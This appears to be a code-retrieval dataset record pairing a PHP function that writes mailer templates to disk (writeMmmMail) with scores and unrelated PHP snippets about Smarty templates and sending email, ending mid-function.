getModule()\n\t{\n\t\treturn $this->_module;\n\t}", "public function function_plugin($params, &$smarty)\n\t{\n\t\t$params['module'] = $this->get_name();\n\t\treturn self::cms_module_plugin($params, $smarty);\n\t}", "function getHTML() \r\n {\r\n \r\n // Make a new Template object\r\n //$path = SITE_PATH_TEMPLATES;\r\n $path = $this->pathModuleRoot.'templates/';\r\n // Replace $path with the following line if you want to create a\r\n // template tailored for this page:\r\n //$path = $this->pathModuleRoot.'templates/';\r\n \r\n \r\n // store the link values\r\n // $this->linkValues[ 'view' ] = 'add/new/href/data/here';\r\n\r\n \r\n // store the link labels\r\n// $this->linkLabels[ 'add' ] = $this->labels->getLabel( '[Add]' );\r\n// $this->linkLabels[ 'edit' ] = $this->labels->getLabel( '[Edit]' );\r\n// $this->linkLabels[ 'del' ] = $this->labels->getLabel( '[Delete]' );\r\n// $this->linkLabels[ 'cont' ] = $this->labels->getLabel( '[Continue]');\r\n // $this->linkLabels[ 'view' ] = 'new link label here';\r\n\r\n \r\n // store any additional link Columns\r\n // example:\r\n //$title = $this->labels->getLabel( '[title_groups]');\r\n //$columnLabel = $this->labels->getLabel( '[groups]');\r\n //$link = $this->linkValues[ 'groups' ];\r\n //$fieldName = 'accessgroup_id';\r\n //$this->addLinkColumn( $title, $columnLabel, $link, $fieldName);\r\n\r\n \r\n // store the page labels\r\n // NOTE: use this location to update any label tags ...\r\n // example:\r\n // $name = $user->getName();\r\n // $this->labels->setLabelTag( '[Title]', '[userName]', $name);\r\n \r\n \r\n $this->prepareTemplate( $path );\r\n \r\n // store the Row Manager's XML Node Name\r\n // $this->template->set( 'rowManagerXMLNodeName', RowManager_AssignmentsManager::XML_NODE_NAME );\r\n $this->template->set( 'rowManagerXMLNodeName', $this->listManager->getRowManagerXMLNodeName() );\r\n \r\n \r\n \r\n // store the primary key field name for the data being displayed\r\n $this->template->set( 'primaryKeyFieldName', 'staffactivity_id');\r\n\r\n // Set calendar variables\r\n \t\t $this->template->set('year_id', $this->year_id); \r\n\t\t $this->template->set('month_id', $this->month_id);\r\n\t\t $this->template->set('first_weekday', $this->first_weekday);\t\t \r\n $this->template->set('monthEventDataList', $this->monthEvents);\t\r\n \r\n// \t echo '<pre>'.print_r($this->monthEvents,true).'</pre>';\r\n\t\r\n \r\n $activityTypeColors = new RowManager_ActivityTypeManager();\r\n $typeList = $activityTypeColors->getListIterator();\r\n $typeArray = $typeList->getDataList();\r\n \r\n $eventTypeColorArray = array();\r\n reset($typeArray);\r\n foreach (array_keys($typeArray) as $key)\r\n {\r\n\t $record = current($typeArray);\t \r\n\t $eventTypeColorArray[$record['activitytype_abbr']] = $record['activitytype_color'];\r\n\t next($typeArray);\r\n }\r\n\t $this->template->set('colorCodeList', $eventTypeColorArray);\t\t \r\n \r\n /*\r\n * Set up any additional data transfer to the Template here...\r\n */\r\n\r\n // now add the data for the Campus Group JumpList\r\n $jumpLink = $this->linkValues['jumpLink'];\r\n $jumpList = array();\r\n// if ( $this->adminManager->hasSitePriv() )\r\n// {\r\n// $jumpList[ $jumpLink.page_ViewStudentYearInSchool::DISPLAY_ALL_ID ] = 'Show All';\r\n// }\r\n foreach( $this->monthValues as $key=>$value) {\r\n $jumpList[ $jumpLink.$key ] = $value;\r\n }\r\n $this->template->set( 'jumpList', $jumpList );\r\n // echo '<pre>'.print_r($jumpList,true).'</pre>';\r\n // echo 'jumpLink['.$jumpLink.']<br/>';\r\n $this->template->set( 'defaultMonth', $jumpLink.$this->month_id );\r\n\r\n\r\n $templateName = 'page_ViewScheduleCalendar.tpl.php';\r\n\t\t// if you are creating a custom template for this page then \r\n\t\t// replace $templateName with the following:\r\n\t\t//$templateName = 'page_PeoplebyCampuses.php';\r\n\t\t\r\n\t\treturn $this->template->fetch( $templateName );\r\n \r\n }", "function getTemplate($param){\r\n global $modx;\r\n\r\n $template = '';\r\n\r\n if ($modx->getChunk($param) != '') {\r\n $template = $modx->getChunk($param);\r\n } else if(substr($param, 0, 6) == '@FILE:') {\r\n $template = $this->get_file_contents(substr($param, 6));\r\n } else if(substr($param, 0, 6) == '@CODE:') {\r\n $template = substr($param, 6);\r\n } else if(substr($param, 0, 5) == '@FILE') {\r\n $template = $this->get_file_contents(trim(substr($param, 5)));\r\n } else if(substr($param, 0, 5) == '@CODE') {\r\n $template = trim(substr($param, 5));\r\n } else {\r\n $template = '';\r\n }\r\n\r\n return $template;\r\n }", "public function newCMWrapper () {\r\n $CMWrapper = new CampaignMonitorWrapper();\r\n\t\tif(!$this->ListID) {\r\n\t\t\t$lists = $CMWrapper->clientGetLists();\r\n\t\t\tif(!$lists) {\r\n\t\t\t\t$CMWrapper->listCreate($listTitle = 'List for '.$this->Title,$unsubscribePage = '',$confirmOptIn = 'false',$confirmationSuccessPage = '');\r\n\t\t\t\t$lists = $CMWrapper->clientGetLists();\r\n\t\t\t}\r\n\t\t\tif(is_array($lists) && isset($lists[\"ListID\"])) {\r\n\t\t\t\t$this->ListID = $lists[\"ListID\"];\r\n\t\t\t}\r\n\t\t\telseif(is_array($lists) && isset($lists[0][\"ListID\"])) {\r\n\t\t\t\t$this->ListID = $lists[0][\"ListID\"];\r\n\t\t\t}\r\n\t\t\telseif(is_int($lists)) {\r\n\t\t\t\t$this->ListID = $lists;\r\n\t\t\t}\r\n\t\t}\r\n $CMWrapper->setListID ($this->ListID);\r\n return $CMWrapper;\r\n }", "function smarty_modifier_makeurl($record)\r\n{\r\n return Component::init(\"news\")->makeURL($record, true);\r\n}", "protected function _getModel()\n {\n require APPLICATION_PATH . '/modules/admin/models/Layout.php';\n\t\tif ($this->_layoutModel == null) \n\t\t{ \n $this->_layoutModel = new Layout();\n }\n return $this->_layoutModel; \n }", "function smarty_function_init($params, &$smarty)\n{\n if(isset($smarty->parent->tpl_vars[$params['name']]))\n {\n return \"name=\\\"\".$params['name'].\"\\\" value=\\\"\".$smarty->parent->tpl_vars[$params['name']]->value.\"\\\"\";\n }\n\n if(isset($params['default']))\n \treturn \"name=\\\"\".$params['name'].\"\\\" value=\\\"\".$params['default'].\"\\\"\";\n else\n \treturn \"name=\\\"\".$params['name'].\"\\\" value=\\\"\\\"\";\n\n}", "function Smarty_Method_DisableForceCompile($smarty)\r\n{\r\n $smarty->force_compile = false;\r\n return;\r\n}", "function lumi_sfm_template( $name ) {\n\tif ( empty( $name ) ) {\n\t\treturn false;\n\t}\n\n\tif ( isset( $lumi_sfm['Template'][ $name ] ) ) {\n\t\treturn $lumi_sfm['Template'][ $name ]; //If template functions are already loaded\n\t}\n\n\tinclude_once LUMI_SFM_CORE_PATH . $name . '.template.php';\n\t$class_name = '\\\\Lumiart\\\\SecretFileManager\\\\Template\\\\' . $name;\n\t$lumi_sfm['Template'][ $name ] = new $class_name;\n\n\treturn $lumi_sfm['Template'][ $name ];\n}", "public function mvr_ump_wcfm_upgrade_template() {\n\t\tif ( Factory::get_instance( SiteDefaults::class )->is_mvr() ) {\n\t\t\treturn Factory::get_instance( VideoHelpers::class )->call_elementor_template( 29585 );\n\t\t} else {\n\t\t\treturn null;\n\t\t}\n\t}", "function smarty_modifier_month_format($month)\n{\n\t$month = preg_replace('/^0/', '', $month);\n\tswitch($month) {\n\tcase 1:\n\t\treturn \"January\";\n\t\tbreak;\n\tcase 2:\n\t\treturn \"February\";\n\t\tbreak;\n\tcase 3:\n\t\treturn \"March\";\n\t\tbreak;\n\tcase 4:\n\t\treturn \"April\";\n\t\tbreak;\n\tcase 5:\n\t\treturn \"May\";\n\t\tbreak;\n\tcase 6:\n\t\treturn \"June\";\n\t\tbreak;\n\tcase 7:\n\t\treturn \"July\";\n\t\tbreak;\n\tcase 8:\n\t\treturn \"August\";\n\t\tbreak;\n\tcase 9:\n\t\treturn \"September\";\n\t\tbreak;\n\tcase 10:\n\t\treturn \"October\";\n\t\tbreak;\n\tcase 11:\n\t\treturn \"November\";\n\t\tbreak;\n\tcase 12:\n\t\treturn \"December\";\n\t\tbreak;\n\t}\n}", "function __construct ()\n\t\t{\n\t\t\tparent::Conectar();\n\t\t\t$this->smarty = new Smarty ();\n\t\t}", "function smarty_class_autoload($class_name)\n{\n\t$class_name = strtolower($class_name);\n\t\n\tif ($class_name == 'smarty' OR $class_name == 'smartybc')\n\t{\n\t\t$dir = Kohana::$config->load('smarty.smarty_dir');\n\t\t\n\t\t$file = ($class_name == 'smarty') ? 'Smarty' : 'SmartyBC';\n\t\t\n\t\tinclude_once Kohana::find_file($dir, $file.'.class');\n\t\t\n\t\t// We do not need this anymore\n\t\tspl_autoload_unregister('smarty_class_autoload');\n\t}\n}", "function getTemplate(){\n\t\treturn $this->html_result;\n\t}", "public function __invoke($module=\"application\",$controller=\"persona\",$folderTemplate=\"templates\",$fileName=\"tpl\",$extension=\"phtml\")\n {\n $content = '';\n $fullPath = $module.'/'.$controller.'/'.$folderTemplate.'/'.$fileName.'.'.$extension;\n $content.= $this->view->render($fullPath);\n return $content;\n }", "protected function getModuleTemplate() {\r\n\t\t\t$template = Core\\Factory::getTemplateObj();\r\n\t\t\t$router = Core\\Includer::getRouter();\r\n\t\t\t$routeConf = $router->getRouteConfig(BasicFunctions::getRoute());\r\n\t\t\t$templateFile = $routeConf['module'] . 'Module' . $template->templateExtension;\r\n\t\t\t$templateFolder = $routeConf['module'];\r\n\t\t\t\t\r\n\t\t\treturn TEMPLATES_PATH . BasicFunctions::getSkin()\r\n\t\t\t\t. DIRECTORY_SEPARATOR . 'controller'\r\n\t\t\t\t. DIRECTORY_SEPARATOR . $templateFolder\r\n\t\t\t\t. DIRECTORY_SEPARATOR . $templateFile;\r\n }" ]
[ "0.6912973", "0.6737093", "0.66618145", "0.6654182", "0.6416009", "0.641455", "0.63110936", "0.6237884", "0.6149676", "0.60187584", "0.5938074", "0.59025514", "0.5660648", "0.5660531", "0.5660531", "0.5645874", "0.5628115", "0.5552656", "0.55128837", "0.5506361", "0.5496173", "0.5438432", "0.5412608", "0.5400283", "0.53962964", "0.53648216", "0.53461945", "0.5323097", "0.53137255", "0.5245671", "0.5236838", "0.52313286", "0.5222602", "0.52000767", "0.5197314", "0.519351", "0.51587623", "0.51552546", "0.5136267", "0.5131992", "0.5106669", "0.50627357", "0.50459146", "0.5039579", "0.5030753", "0.50153244", "0.50010854", "0.49998367", "0.49920788", "0.4987879", "0.49583322", "0.49545062", "0.49425197", "0.48995104", "0.488971", "0.48891574", "0.4874619", "0.48744676", "0.4873668", "0.48726374", "0.48698404", "0.48630401", "0.48603693", "0.48493102", "0.48363942", "0.4824362", "0.48195428", "0.4817823", "0.48158416", "0.48149025", "0.48110795", "0.48097128", "0.4802637", "0.47962436", "0.47951338", "0.4787023", "0.47822252", "0.47815672", "0.4780792", "0.47765747", "0.47740176", "0.47686285", "0.47657365", "0.4762785", "0.47626168", "0.4758664", "0.4750243", "0.47492453", "0.47490305", "0.47442973", "0.47393438", "0.4738494", "0.47324413", "0.47209916", "0.47175345", "0.47171956", "0.47165382", "0.47153127", "0.47123742", "0.4708371" ]
0.8027337
0
This function is used to write mail into disk based on maileid and header/footer will be added based on site .....
public static function writeMmmMail($urlMail,$mailerId,$site) { if(!$urlMail || !$mailerId || !$site) throw new jsException("","compulsory field missing in writeMmmMail() of MmmUtility.class.php"); $smarty = MmmUtility::createSmartyObject(); $path = $smarty->template_dir."individual_mailer_templates"; $pathOfHtmlFile = $path."/".$mailerId.".html"; $handle = fopen($pathOfHtmlFile, "w+"); $MmmMailerBasicInfo = new MmmMailerBasicInfo; $mailerBasicInfoArr = $MmmMailerBasicInfo->retreiveMailerInfo($mailerId); if($handle) { $content = CommonUtility::sendCurlGetRequest($urlMail); if($site=='J') $mailerBasicInfoArr['RESPONSE_TYPE']=''; $response_type=$mailerBasicInfoArr['RESPONSE_TYPE']; $content = str_replace("<body>",'<body>'."\n".'~if $showHeaderFooter neq "N"`~include_partial("global/header'.$site.'Mailer",[mailerId=>$mailerId,checksum=>$checksum,echecksum=>$echecksum,browserUrl=>$browserUrl,email=>$email,profileid=>$profileid,name=>$name,phone=>$phone,response_type=>$response_type,isTestMailer=>$isTestMailer,serviceMail=>$serviceMail,isMrc=>$isMrc])`~/if`',$content); $content = str_replace("</body>",'~if $showHeaderFooter neq "N"`~include_partial("global/footer'.$site.'Mailer",[promoMail=>$promoMail,browserUrl=>$browserUrl,mailerId=>$mailerId,checksum=>$checksum,profileid=>$profileid,isMrc=>$isMrc,email=>$email])`~/if`'."\n".'</body>',$content); fwrite($handle, $content); fclose($handle); } else throw new jsException("","unable to write to a file in writeMmmMail() of MmmUtility.class.php"); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "function sendmail()\n\t{\n\t\tglobal $ilUser;\n\t\tinclude_once 'classes/class.ilFileDataMail.php';\n\t\trequire_once \"Services/Mail/classes/class.ilFormatMail.php\";\n\t\t$mfile = new ilFileDataMail($ilUser->getId());\n\t\t$umail = new ilFormatMail($ilUser->getId());\n\n\t\t$html_content=$this->export(false);\n\t\t$tempfile=ilUtil::ilTempnam();\n\t\t$fp=fopen($tempfile,'w');\n\t\tfwrite($fp, $html_content);\n\t\tfclose($fp);\n\t\t$filename='bookmarks.html';\n\t\t$mfile->copyAttachmentFile($tempfile,$filename);\n\t\t$umail->savePostData($ilUser->getId(),array($filename),\n\t\t\t\t\t\t '','','','','',\n\t\t\t\t\t\t '',\n\t\t\t\t\t\t '', 0);\n\n require_once 'Services/Mail/classes/class.ilMailFormCall.php';\n\t\tilUtil::redirect(ilMailFormCall::_getRedirectTarget($this, '', array(), array('type' => 'attach')));\n\t}", "function email($database = \"\"){\n\t\n\t\t$to = '[email protected]';\n\t\t$subject = 'Reports';\n\t\t$semi_rand = md5(time()); \n\t\t$mime_boundary = \"==Multipart_Boundary_x{$semi_rand}x\";\n\t\t$headers ='MIME-Version: 1.0'.\"\\r\\n\";\n\t\t$headers .= 'Content-Type: multipart/alternative; boundary='.$mime_boundary. \"\\r\\n\";\n\t\t$headers .='From: \"Webmistress\" <[email protected]>'. \"\\r\\n\";\t\n\t\t\n\t\t$htmlEmail = $this ->build_email_html($database);\n\t\t$txtEmail = $this ->build_email_txt($database);\n\t\t\n\t\t//$this ->cleanVisitorTable($database);\n\t\t\n\t\t$message = \"This is a multi-part message in MIME format.\\r\\n\\r\\n\" .\n\t\t'--'.$mime_boundary.\"\\r\\n\".\n\t\t'Content-Type: text/plain; charset=\"utf-8\"'.\"\\r\\n\".\n\t\t'Content-Transfer-Encoding:7-bit'.\"\\r\\n\\r\\n\".$txtEmail.\"\\r\\n\".\n\t\t\"--{$mime_boundary}\\r\\n\" .\n\t\t\"Content-Type:text/html; charset=\\\"utf-8\\\"\\r\\n\" .\n\t\t\"Content-Transfer-Encoding: 7bit\\r\\n\\r\\n\" .\n\t\t$htmlEmail.\"\\r\\n\";\n\t\t\n\t\tif (mail($to,$subject,$message, $headers)){\n\t\t\t\n\t\t\t$output = 'Email was sent.';\n\t\t\t\n\t\t}else{\n\t\t\t\n\t\t\t$output = \"Email wasn't sent.\";\n\t\t\t\n\t\t}\n\t\t\n\t\t\n\t\t$filename = 'visitorsEmail.txt';\n\t\t\n\t\ttry {\n\t\t\t$file = fopen('/var/www/websites/redesign2013/logs/'.$filename,'c');\n\t\n\t\t\tif ($file){\n\t\t\t\tfwrite($file, $message);\n\t\t\t}else{\n\t\t\t\t\n\t\t\t\tthrow new Exception(\"Couldn't open file.\");\n\t\t\t\t\n\t\t\t}\n\t\n\t\t}catch(Exception $error){\n\t\t\t\n\t\t\techo 'Error: '.$error ->getMessage(),\"\\n\";\n\t\t\tprint_r($error->getTrace());\n\t\t\techo 'Exception Code:'.$error->getCode().\"\\n\";\n\t\t\techo 'Line :'.$error->getLine().' - File:'.$error->getFile().\"\\n\";\n\t\t}\n\t\t\n\t\techo $message;\n\t\t\n\t\treturn $output ;\n\t\t\n\t\t\n\t}", "protected function _writeFileBody() {}", "function writeContent ($filetype1, $pathbase, $outputFile, $msgToRegister) {\n global $GROUP, $WRITEMSG, $OVERWRITE;\n\n $pathbase = \"/var/www/html/saw/mod/iassign/ilm_debug/\"; // \"/mod/iassign/ilm_debug/\";\n $outputFile = $pathbase . $outputFile;\n\n if (!is_writable($pathbase)) { // TRUE se arquivo existe e pode ser escrito\n // $file_debug .= \"Error: '\" . $completfilepath . \"' could not be registered! Perhaps the directory or the file has permission problem?<br/>\\n\";\n //D echo \"$outputFile, $filetype1<br/>\";\n print \"Erro! Problema de acesso ao servidor! Por favor, avise ao administrador (<tt>$pathbase</tt> nao acessivel para escrita).<br/>\"; // . $file_debug . \"\n exit(0);\n }\n\n // $result = writeContent(\"file\", $pathbase, $filename, $msgToRegister);\n // print \"escreva.php: result=$result<br/>\";\n\n // write personal email file\n // To write: verify if the file does not exists or have permission to overwrite\n if (is_file($outputFile)) { // already exist this file\n // $outputFile .= $outputFile . '_' . date('Y_m_d_h_m');\n } // if (is_file($outputFile))\n\n if (1==1) { // write/overwrite the file\n $fpointer = fopen($outputFile, \"w\"); // write - if executed, it clear the previou content at this file\n if (!$fpointer) {\n $file_debug .= \"Erro: nao foi possivel abrir o roteiro ($outputFile)!<br/>\\n\";\n // it was not possible to open the file '$completfilepath\" . $file_name . \"'!<br/>\\n\";\n print \"<br/>\" . $file_debug . \"<br/>\\n\";\n //D echo \"writeContent: $filetype1, outputFile=$outputFile<br/>\\n\";\n return 0;\n }\n fwrite($fpointer, $msgToRegister . \"\\n\");\n // echo \" - outputFile=$outputFile : WRITEMSG=$WRITEMSG, OVERWRITE=$OVERWRITE, gerado com sucesso!<br/>\\n\";\n fclose($fpointer);\n }\n else {\n // print \"Nao gera os arquivos personalizados para email aos alunos ('$outputFile')<br/>\\n\"; // admin/<turma>/<N>_<name>.txt\n }\n\n return 1;\n }", "public function enviar(){\n\t\t\t$email = array(\n\t\t \t\t'nome'=>$this->remover_caracter($this->nome),\n\t\t \t\t'email'=>$this->email,\n\t\t\t\t'assunto'=>$this->remover_caracter($this->assunto),\n\t\t \t\t'texto'=>$this->remover_caracter($this->mensagem)\n\t\t\t);\n\t\t\tif( is_file($this->logo) ){\n\t\t\t\t$imagem_nome=$this->logo;\n\t\t\t\t$arquivo=fopen($imagem_nome,'r');\n\t\t\t\t$contents = fread($arquivo, filesize($imagem_nome));\n\t\t\t\t$encoded_attach = chunk_split(base64_encode($contents));\n\t\t\t\tfclose($arquivo);\n\t\t\t}\n\t\t\t$limitador = \"_=======\". date('YmdHms'). time() . \"=======_\";\n\n\t\t\t$mailheaders = \"From: \".$email['email'].\"\\r\\n\";\n\t\t\t$mailheaders .= \"MIME-version: 1.0\\r\\n\";\n\t\t\t$mailheaders .= \"Content-type: multipart/related; boundary=\\\"$limitador\\\"\\r\\n\";\n\t\t\t$cid = date('YmdHms').'.'.time();\n\n\t\t\t$texto=\"\n\t\t\t\t<html>\n\t\t\t\t<head>\n\t\t\t\t\t\".header('Content-type: text/html; charset=utf-8').\"\n\t\t\t\t</head>\n\t\t\t\t<body>\n\t\t\t\t\t<img src=\\\"cid:$cid\\\">\n\t\t\t\t\t<h1>Desenvolvedor avulso para Web</h1>\n\t\t\t\t\t<br>\n\t\t\t\t\t<p><strong>\".$email['nome'].\"</strong>: Solicitou contato, sobre :<em>\".$email['assunto'].\"</em></p>\n\t\t\t\t\t<p>com a seguinte mensagem: <span>\".$email['texto'].\"</span></p>\n\t\t\t\t\t<p>email: \".$email['email'].\"</p>\n\t\t\t\t\t<a href='http://\". $this->url .\"'><font size=3>\". $this->url .\"</font></a>\n\t\t\t\t</body>\n\t\t\t\t</html>\n\t\t\t\";\n\n\t\t\t$msg_body = \"--$limitador\\r\\n\";\n\t\t\t$msg_body .= \"Content-type: text/html; charset=iso-8859-1\\r\\n\";\n\t\t\t$msg_body .= \"$texto\";\n\n\t\t\t$emailPara = explode('@',$this->para)[1];\n\t\t\treturn mail($this->para ,\"Um novo Cliente Contactou o Site \". $emailPara ,$msg_body, $mailheaders);\n\t\t}", "function Email_Proforma($Src,$SrcId,$to,$mescat,$subject,$helper='',$helperdata=0,$logfile='',&$attachments=0,$embeded=0,$from='') {\n global $PLANYEAR,$YEARDATA,$FESTSYS;\n if (strlen($mescat) < 30) {\n $Prof = Get_Email_Proforma($mescat);\n $Mess = ($Prof? $Prof['Body'] : \"Unknown message $mescat \");\n } else {\n $Mess = $mescat;\n }\n Parse_Proforma($Mess,$helper,$helperdata,0,$attachments,$embeded);\n \n NewSendEmail($Src,$SrcId,$to,$subject,$Mess,$attachments,$embeded,$from);\n \n if ($logfile) {\n $logf = fopen(\"LogFiles/$logfile.txt\",\"a\");\n fwrite($logf,\"\\n\\nEmail to : \" . Pretty_Print_To($to) . \"Subject:$subject\\n\");\n if ($from) fwrite($logf,\"From: \" . Pretty_Print_To($from));\n fwrite($logf,\"\\n\\n$Mess\");\n\n if ($attachments) {\n if (is_array($attachments)) {\n foreach ($attachments as $i=>$att) fwrite($logf,\" With attachment: \" . $att[0] . \" as \" . $att[1] . \"\\n\\n\");\n } else {\n fwrite($logf,\" With attachment $attachments\\n\\n\"); \n }\n }\n if ($embeded) {\n if (is_array($embeded)) {\n foreach ($embeded as $i=>$att) fwrite($logf,\" With embeded: \" . $att[0] . \" as \" . $att[1] . \"\\n\\n\");\n } else {\n fwrite($logf,\" With embeded $embeded\\n\\n\"); \n }\n }\n\n fclose($logf);\n }\n return $Mess;\n}", "function metamail($to,$subject,$body,$headers) {\r\n\r\n\tglobal $TESTMODE,$TESTEMAIL;\r\n\r\n\tif ($TESTMODE) {\r\n\t\r\n\t\t$header = \"To: $to\\r\\n$headers\\r\\n\\r\\n\";\r\n\t\t\r\n\t\tmail($TESTEMAIL,$subject,$header.$body);\r\n\t\r\n\t} else mail($to,$subject,$body,$headers);\r\n\t\t\r\n}", "function fileemail() {\n\t\t\tglobal $logid, $bwpsoptions;\n\t\t\t\n\t\t\t//Get the right email address.\n\t\t\tif ( is_email( $bwpsoptions['id_fileemailaddress'] ) ) {\n\t\t\t\t\n\t\t\t\t$toaddress = $bwpsoptions['id_fileemailaddress'];\n\t\t\t\n\t\t\t} else {\n\t\t\t\n\t\t\t\t$toaddress = get_site_option( 'admin_email' );\n\t\t\t\t\n\t\t\t}\n\t\t\n\t\t\t//create all headers and subject\n\t\t\t$to = $toaddress;\n\t\t\t$headers = 'From: ' . get_option( 'blogname' ) . ' <' . $to . '>' . PHP_EOL;\n\t\t\t$subject = '[' . get_option( 'siteurl' ) . '] ' . __( 'WordPress File Change Warning', $this->hook ) . ' ' . date( 'l, F jS, Y \\a\\\\t g:i a e', current_time( 'timestamp' ) );\n\n\t\t\t//create message\n\t\t\t$message = '<p>' . __('<p>A file (or files) on your site at ', $this->hook ) . ' ' . get_option( 'siteurl' ) . __( ' have been changed. Please review the report below to verify changes are not the result of a compromise.', $this->hook ) . '</p>';\n\t\t\t$message .= $this->getdetails( $logid, true ); //get report\n\t\t\t\n\t\t\tadd_filter( 'wp_mail_content_type', create_function( '', 'return \"text/html\";' ) ); //send as html\n\t\t\t\n\t\t\twp_mail( $to, $subject, $message, $headers ); //send message\n\t\t\n\t\t}", "function mymail($to, $title, $body, $from = '') {\n\n $controlquery = doquery(\"SELECT * FROM {{table}} WHERE id='1' LIMIT 1\", \"control\");\n $controlrow = mysql_fetch_array($controlquery);\n extract($controlrow);\n \n\n $from = trim($from);\n\n if (!$from) {\n $from = '<'.$controlrow[\"adminemail\"].'>';\n }\n\n $rp = $controlrow[\"adminemail\"];\n $org = '$gameurl';\n $mailer = 'PHP';\n\n $head = '';\n $head .= \"Content-Type: text/plain \\r\\n\";\n $head .= \"Date: \". date('r'). \" \\r\\n\";\n $head .= \"Return-Path: $rp \\r\\n\";\n $head .= \"From: $from \\r\\n\";\n $head .= \"Sender: $from \\r\\n\";\n $head .= \"Reply-To: $from \\r\\n\";\n $head .= \"Organization: $org \\r\\n\";\n $head .= \"X-Sender: $from \\r\\n\";\n $head .= \"X-Priority: 3 \\r\\n\";\n $head .= \"X-Mailer: $mailer \\r\\n\";\n\n $body = str_replace(\"\\r\\n\", \"\\n\", $body);\n $body = str_replace(\"\\n\", \"\\r\\n\", $body);\n\n return mail($to, $title, $body, $head);\n \n}", "public function createnotification($id='',$name='',$htmls='',$header='',$buttonhtml='',$pass_url='',$path='',$subject='',$to_email='')\n { \n $email_path = file_get_contents($path);\n $cur_year = date('Y');\n $email_content = array('[name]','[pass_url]','[htmls]','[buttonhtml]','[header]','[cur_year]');\n $replace = array($name,$pass_url,$htmls,$buttonhtml,$header,$cur_year);\n $message = str_replace($email_content,$replace,$email_path);\n $header = 'From: '.env(\"IMAP_HOSTNAME_TEST\").'' . \"\\r\\n\";\n $header .= \"MIME-Version: 1.0\\r\\n\";\n $header .= \"Content-type: text/html\\r\\n\";\n $retval = mail($to_email,$subject,$message,$header); \n if($retval)\n {\n return true; \n }else\n {\n return false;\n }\n }", "function mailreport()\n{\n\tglobal $g_error_msg, $g_debug_msg;\n\tinclude_once(atkconfig('atkroot'). 'atk/errors/class.atkerrorhandlerbase.inc');\n\t$errorHandlerObject = atkErrorHandlerBase::get('mail', array('mailto'=>atkconfig('mailreport')));\n\t$errorHandlerObject->handle($g_error_msg, $g_debug_msg);\n}", "protected function _writeFileHeader() {}", "function SendMail($toid,$fromid,$subject,$body,$filename=\"\",$filepath=\"\",$mailformat=false)\n{\n global $adminmailid;\n\t\t\t\t\t$to=$toid;\n\t\t\t\t\tif($fromid==\"\")\n\t\t\t\t\t\t$fromid=ADMIN_EMAIL;\n\n $subject = $subject;\n\t\t\t\t\t$mailcontent =$body;\n\t\t\t\t\t//SendHTMLMail($to,$subject,$mailcontent);\n\t\t\t\t\t$mail=new phpmailer();\n\t\t\t\t\t$mail->AddAddress($to);\n\t\t\t\t\t$mail->Subject = $subject;\n\t\t\t\t\t$mail->Body =$mailcontent;\n\t\t\t\t\t $mail->AltBody =\" \";\n\t\t\t\t\t$mail->From=\"Administrator\";\n\t\t\t\t\tif($filename!=\"\")\n\t\t\t\t\t{\n \t\t\t $arrfilename=explode(\",\",$filename);\n\t\t\t\t\t $arrfilepath=explode(\",\",$filepath);\n\t\t\t\t\t for($i=0;$i<count($arrfilename);$i++)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$mail->AddAttachment($arrfilepath[$i], $arrfilename[$i]);\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\t$mail->IsHTML($mailformat);\n\n\t\t\t\t\t$mail->FromName=$fromid;\n\nif(!$mail->Send())\n\t{\n\t //echo \"There was an error sending the message<br><font face='Verdana' size='2'><center></font></center>\";\n return false;\n\t}\nreturn true;\n}", "function send_mail($item){\n $mail = new PHPMailer;\n $mail->setFrom('[email protected]', 'Website administrator');\n //Set an alternative reply-to address\n $mail->addReplyTo($item['email'], $item['name']);\n //Set who the message is to be sent to\n $mail->addAddress('[email protected]');\n //Set the subject line\n $mail->isHTML(true);\n $mail->CharSet = 'UTF-8';\n $mail->Subject = 'Contact sent from website';\n //Read an HTML message body from an external file, convert referenced images to embedded,\n //convert HTML into a basic plain-text alternative body\n //$mail->msgHTML(file_get_contents('contents.html'), dirname(__FILE__));\n //Replace the plain text body with one created manually\n $mail->Body = '\n <html>\n <head>\n \t<title>'.$mail->Subject.'</title>\n </head>\n <body>\n \t<p>Full Name: '.$item['name'].'</p>\n \t\n \t<p>Address: '.$item['adds'].'</p>\n \t<p>Phone: '.$item['phone'].'</p>\n \t\n \t<p>Email: '.$item['email'].'</p>\n <p>Tiêu Đề: '.$item['fax'].'</p>\n \t<p>Content: '.nl2br($item['content']).'</p>\n </body>\n </html>\n ';\n //Attach an image file\n //$mail->addAttachment('images/phpmailer_mini.png');\n \n //send the message, check for errors\n //$mail->send();\n if ($mail->send()) {\n echo \"Message sent!\";\n } else {\n echo \"Mailer Error: \" . $mail->ErrorInfo;\n }\n }", "function m_dspemails()\n\t{\n\t\t$this->ObTpl=new template();\n\t\t$this->ObTpl->set_file(\"TPL_EMAIL_FILE\",$this->emailTemplate);\n\n\t\t#SETTING ALL TEMPLATE BLOCKS\n\t\t$this->ObTpl->set_block(\"TPL_EMAIL_FILE\",\"TPL_EMAIL_BLK\", \"email_blk\");\n\t\t$this->ObTpl->set_block(\"TPL_EMAIL_FILE\",\"TPL_MESSAGE_BLK\", \"message_blk\");\n\t\t$this->ObTpl->set_block(\"TPL_EMAIL_FILE\",\"TPL_MSG_BLK1\", \"msg_blk1\");\n\n\t\t#SETTING TEMPLATE VARIABLE\n\t\t$this->ObTpl->set_var(\"GRAPHICSMAINPATH\",GRAPHICS_PATH);\t\n\t\t$this->ObTpl->set_var(\"TPL_VAR_SALESURL\",SITE_URL.\"sales/\");\n\n\t\t#INTAILIZING ***\n\t\t$this->ObTpl->set_var(\"email_blk\",\"\");\t\n\t\t$this->ObTpl->set_var(\"message_blk\",\"\");\t\n\t\t$this->ObTpl->set_var(\"msg_blk1\",\"\");\t\n\t\t$this->ObTpl->set_var(\"msg_blk2\",\"\");\t\n\n\t\t$this->request['msg']=$this->libFunc->ifSet($this->request,\"msg\");\n\t\t$this->ObTpl->set_var(\"TPL_VAR_MESSAGE\",\"\");\n\n\t\t#DATABASE QUERY\n\t\t$this->obDb->query = \"SELECT * FROM \".EMAILS;\n\t\t$queryResult = $this->obDb->fetchQuery();\n\t\t$campaigncount = 